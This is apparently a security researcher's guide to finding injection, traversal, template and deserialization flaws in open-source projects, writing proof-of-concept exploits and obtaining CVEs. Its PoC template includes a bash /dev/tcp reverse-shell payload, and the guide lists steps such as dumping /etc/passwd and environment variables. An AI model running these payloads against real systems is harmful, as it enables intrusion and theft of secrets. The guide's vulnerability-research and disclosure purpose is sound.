Vulnerability Research & CVE Hunting

How to find real vulnerabilities in open-source software, write PoCs, and get CVEs assigned.


MINDSET - What you're actually looking for

Every exploitable vulnerability is the same pattern:

User-controlled input  →  No sanitization  →  Dangerous function

Your job is to find that path. Everything else is details.


TARGET SELECTION - What to hunt

Good targets

  • Web services wrapping CLI tools (wkhtmltopdf, ffmpeg, imagemagick, pandoc)
  • Flask/Django/Express apps with < 500 stars (enough users to matter, small enough to audit fast)
  • Docker-based services (often run as root, common misconfigs)
  • Abandoned projects still in use (no maintainer = instant full disclosure)
  • MCP servers (new attack surface, most have no security review)

Bad targets

  • Intentionally vulnerable apps (DVWA, WebGoat, juice-shop)
  • CTF challenges and tutorials
  • Projects with 0 users/stars
  • Projects with active security teams and bug bounties (save for later)
  • Offensive security tools (reporting command injection in a pentest tool is weak)

GITHUB CODE SEARCH - Finding vulnerable patterns

Command injection (CWE-78)

The highest-value vulnerability class. Network-accessible, usually no auth, CVSS 9.0+.

language:python "os.system" "request" filename:app.py
language:python "subprocess" "shell=True" "request.json"
language:python "subprocess.Popen" "request.form" "shell=True"
language:python "execute" "request" filename:app.py
language:php "exec(" "$_GET"
language:php "system(" "$_POST"
language:php "passthru(" "$_REQUEST"
language:javascript "child_process" "req.body"
language:javascript "exec(" "req.query"
What you're looking for
# VULNERABLE - user input reaches shell execution
data = request.json.get('input')
os.system(f"tool {data}")                    # Direct injection
subprocess.Popen(f"tool {data}", shell=True) # shell=True with f-string
execute(f"tool {data}")                      # executor library (bash -c)

# SAFE - parameterized, no shell
subprocess.run(['tool', data])               # List args, no shell
subprocess.run(['tool', data], shell=False)  # Explicit no shell

SQL injection (CWE-89)

language:python "execute" "request" "%" filename:app.py
language:python "cursor.execute" "format" "request"
language:php "mysql_query" "$_GET"
language:php "mysqli_query" "$_POST"
What you're looking for
# VULNERABLE - string formatting into SQL
query = f"SELECT * FROM users WHERE name = '{request.form['name']}'"
cursor.execute(query)

# SAFE - parameterized query
cursor.execute("SELECT * FROM users WHERE name = %s", (request.form['name'],))

Path traversal (CWE-22)

language:python "open(" "request" "filename" filename:app.py
language:python "send_file" "request.args"
language:python "os.path.join" "request"
language:php "file_get_contents" "$_GET"
language:php "include" "$_GET"
What you're looking for
# VULNERABLE - user controls file path
filename = request.args.get('file')
return send_file(f"/uploads/{filename}")  # ../../etc/passwd

# SAFE - basename strips directory components
filename = os.path.basename(request.args.get('file'))
return send_file(os.path.join('/uploads', filename))

Server-Side Template Injection (CWE-1336)

language:python "render_template_string" "request"
language:python "Template(" "request"
language:python "from_string" "request"
language:python "Jinja2" "render" "request"
What you're looking for
# VULNERABLE - user input in template
template = request.form['name']
return render_template_string(f"Hello {template}")  # {{7*7}} = 49

# SAFE - template with variable
return render_template_string("Hello {{ name }}", name=request.form['name'])

Deserialization (CWE-502)

language:python "pickle.loads" "request"
language:python "yaml.load(" "request"
language:python "yaml.load(" NOT "yaml.safe_load"
language:java "ObjectInputStream" "readObject"
language:php "unserialize" "$_"
What you're looking for
# VULNERABLE - deserializing user input
data = pickle.loads(request.data)        # Arbitrary code execution
data = yaml.load(request.data)           # yaml.load without SafeLoader

# SAFE
data = json.loads(request.data)          # JSON is safe
data = yaml.safe_load(request.data)      # SafeLoader blocks code execution

CODE REVIEW PROCESS - How to evaluate a target fast

Step 1: Identify the app type (30 seconds)

Read the README. What does it do?

App typeMost likely vulnerability
Web service wrapping CLI toolCommand injection
File upload/download servicePath traversal
Database-backed web appSQL injection
Template-based web appSSTI
API accepting serialized dataDeserialization
Authentication systemAuth bypass, IDOR

Step 2: Find the entry points (2 minutes)

Where does user input enter the application?

# Find all route handlers
grep -rn "app.route\|@app\.\|@router\.\|@blueprint\." *.py
grep -rn "app.get\|app.post\|router.get\|router.post" *.js

# Find all request data access
grep -rn "request.form\|request.args\|request.json\|request.data\|request.files" *.py
grep -rn "req.body\|req.query\|req.params\|req.file" *.js
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_FILES" *.php

Step 3: Find the dangerous sinks (2 minutes)

# Command execution
grep -rn "os.system\|os.popen\|subprocess\|exec(\|execute(" *.py
grep -rn "child_process\|exec(\|execSync\|spawn(" *.js
grep -rn "system(\|exec(\|passthru(\|shell_exec(\|popen(" *.php

# File operations
grep -rn "open(\|send_file\|send_from_directory" *.py
grep -rn "readFile\|createReadStream\|writeFile" *.js
grep -rn "file_get_contents\|fopen\|include\|require" *.php

# Database queries
grep -rn "execute(\|cursor\|query(" *.py
grep -rn "mysql_query\|mysqli_query\|pg_query" *.php

# Template rendering
grep -rn "render_template_string\|Template(\|from_string" *.py

# Deserialization
grep -rn "pickle\|yaml.load\|marshal\|shelve" *.py
grep -rn "unserialize\|json_decode" *.php

Step 4: Trace the path (5 minutes)

Can user input reach the dangerous sink without sanitization?

Route handler → gets user input → any validation? → reaches dangerous function?
     |                                    |                        |
   @app.route('/convert')          No filtering?          os.system(cmd)?
                                   No allowlist?          subprocess(shell=True)?
                                   No escaping?           execute(string)?

If the answer to all three is "no filtering, no escaping, no allowlist" then you have a vulnerability.


Step 5: Check exploitability (5 minutes)

QuestionImpact on CVSS
Network accessible?AV:N (higher) vs AV:L (lower)
Auth required?PR:N (no auth = critical) vs PR:L
User interaction needed?UI:N (no interaction = higher)
What privileges does it run as?Root = maximum impact
What can you access?Read files? Execute commands? Full RCE?

BUILDING THE PoC - Proving exploitation

Order of proof

  1. Confirm the vulnerability exists by writing a file (id > /tmp/pwned.txt)
  2. Prove arbitrary execution with different commands
  3. Demonstrate impact (read /etc/passwd, dump env vars, etc.)
  4. Get a reverse shell for maximum impact proof
  5. Write the automated PoC script

PoC script template (command injection)

#!/usr/bin/env python3
import argparse
import requests
import json
import base64

def check(target):
    """Verify target is vulnerable."""
    # Send benign request first to confirm service is running
    # Then send injection payload
    # Describe how to verify execution
    pass

def exploit(target, command, method="value"):
    """Execute arbitrary command on target."""
    # Build the payload
    # Send the request
    # Describe how to retrieve output
    pass

def reverse_shell(target, lhost, lport):
    """Spawn reverse shell on target."""
    payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    exploit(target, payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", "-t", required=True)
    parser.add_argument("--command", "-c", default=None)
    parser.add_argument("--check", action="store_true")
    parser.add_argument("--reverse-shell", "-r", default=None)
    args = parser.parse_args()
    
    if args.check:
        check(args.target)
    elif args.reverse_shell:
        ip, port = args.reverse_shell.split(":")
        reverse_shell(args.target, ip, port)
    else:
        exploit(args.target, args.command or "id")

SETTING UP TEST ENVIRONMENTS

Docker targets

Most web service targets have Dockerfiles. If they don't, build one:

FROM python:3.10-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 8080
CMD ["python", "app.py"]
docker build -t vuln-target .
docker run -d -p 8080:8080 --name vuln-test vuln-target

If the app uses Python 2

Port the minimum code needed to Python 3. Preserve the vulnerability logic exactly. Common fixes:

# Python 2 → Python 3
print "hello"           → print("hello")
.decode('base64')       → base64.b64decode()
raw_input()             → input()
except Exception, e     → except Exception as e
open(f, 'r')            → open(f, 'rb')  # for binary

EVIDENCE COLLECTION - Screenshots that matter

Take these screenshots in order:

#ScreenshotPurpose
1Container/service runningProves environment setup
2Legitimate request workingProves app functions normally
3Clean state (no evidence files)Proves no prior tampering
4RCE proof (id output as root)Confirms code execution
5Second injection vectorShows multiple attack paths
6Data exfiltration (/etc/passwd)Demonstrates file read impact
7Environment variable dumpDemonstrates secret exposure
8Full RCE proof (whoami + hostname + date)Timestamped proof
9PoC script runningShows automated exploitation
10Reverse shellMaximum impact demonstration

CVE DISCLOSURE PROCESS

Step 1: Report to maintainer

Check for SECURITY.md in the repo. If none:

1. GitHub Security Advisory (preferred)
   → repo → Security tab → Report a vulnerability

2. Public GitHub Issue (if repo appears abandoned)
   → Create issue with "[Security] Vulnerability: RCE via ..."

3. Email maintainer directly
   → Check git log for email, README for contact info

Step 2: Request CVE from MITRE

Submit at https://cveform.mitre.org/

Required fields:

Vulnerability Type:   OS Command Injection / SQL Injection / etc.
Vendor:               The org or username
Product:              Repository name
Version:              All versions / specific version
Attack Type:          Remote / Local
Impact:               Code Execution / Information Disclosure / etc.
Affected Component:   filename.py, lines X-Y
Attack Vector:        Description of how to exploit
Suggested Description: One paragraph for the CVE database
Discoverer:           Your name
References:           GitHub repo URL, issue URL, advisory URL

Step 3: Decide disclosure timeline

Maintainer statusAction
Active, responds90-day coordinated disclosure
Active, no response after 30 daysPublish with CVE
Abandoned (no commits in 1+ year)Immediate full disclosure

Step 4: Publish

Where to publish (do all of them):

1. GitHub PoC repository (README + poc.py + screenshots)
2. Blog post (full technical writeup)
3. ExploitDB (email submit@offsec.com with exploit script)
4. Full Disclosure mailing list (seclists.org)
5. PacketStorm Security (packetstormsecurity.com/submit)
6. LinkedIn post (builds professional visibility)
7. Twitter/X thread (builds community presence)

EXPLOITDB SUBMISSION FORMAT

Email: submit@offsec.com

Subject = Exploit title. Attach the exploit as a .py file with these headers:

# Exploit Title: [target] - [vuln type]
# Google Dork: N/A
# Date: [YYYY-MM-DD]
# Exploit Author: [your name]
# Vendor Homepage: [URL]
# Software Link: [URL]
# Version: [affected versions]
# Tested on: [OS]
# CVE: [CVE-XXXX-XXXXX or Pending]

⚠️ They will NOT accept: reflected XSS without CVE, DLL hijacking, path disclosure, open redirects, clickjacking without CVE, or vulns requiring admin access.


DANGEROUS FUNCTIONS CHEAT SHEET

Python

FunctionRiskCWE
os.system()Command injectionCWE-78
os.popen()Command injectionCWE-78
subprocess.Popen(shell=True)Command injectionCWE-78
subprocess.run(shell=True)Command injectionCWE-78
subprocess.call(shell=True)Command injectionCWE-78
eval()Code injectionCWE-94
exec()Code injectionCWE-94
pickle.loads()Deserialization RCECWE-502
yaml.load()Deserialization RCECWE-502
render_template_string()SSTICWE-1336
open() with user inputPath traversalCWE-22
send_file() with user inputPath traversalCWE-22

PHP

FunctionRiskCWE
system()Command injectionCWE-78
exec()Command injectionCWE-78
passthru()Command injectionCWE-78
shell_exec()Command injectionCWE-78
`backticks`Command injectionCWE-78
popen()Command injectionCWE-78
eval()Code injectionCWE-94
preg_replace('/e')Code injectionCWE-94
unserialize()DeserializationCWE-502
include() / require()LFI/RFICWE-98
file_get_contents()Path traversal / SSRFCWE-22

JavaScript / Node.js

FunctionRiskCWE
child_process.exec()Command injectionCWE-78
child_process.execSync()Command injectionCWE-78
eval()Code injectionCWE-94
Function()Code injectionCWE-94
vm.runInNewContext()Sandbox escapeCWE-94
fs.readFile() with user inputPath traversalCWE-22
require() with user inputCode injectionCWE-94

CVSS 3.1 QUICK SCORING

Use for your advisory reports:

ScenarioVectorScore
RCE, no auth, networkAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 Critical
RCE, auth required, networkAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H8.8 High
File read, no auth, networkAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 High
Command injection, local onlyAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H7.8 High
DLL hijackingAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H7.8 High
XSS (reflected)AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N6.1 Medium

Calculator: https://www.first.org/cvss/calculator/3.1


SPEED TIPS

  • Start with command injection. Highest CVSS, easiest to find, easiest to prove.
  • Search GitHub for dangerous patterns, not specific apps. You find more targets.
  • Read the code, not the README. READMEs lie. Code doesn't.
  • Check requirements.txt or package.json first. If the app imports executor, subprocess, or child_process, dig deeper.
  • Grep backwards from sinks, not forward from inputs. Find os.system() first, then trace back to see if user input reaches it.
  • Skip projects with zero network exposure. CLI tools, build scripts, and local-only utilities are low-value targets.
  • Skip projects with authentication on all endpoints. Unless you're looking for auth bypass, no-auth targets give higher CVSS.
  • One CVE in a popular project > five CVEs in unknown ones. Stars and forks matter for credibility.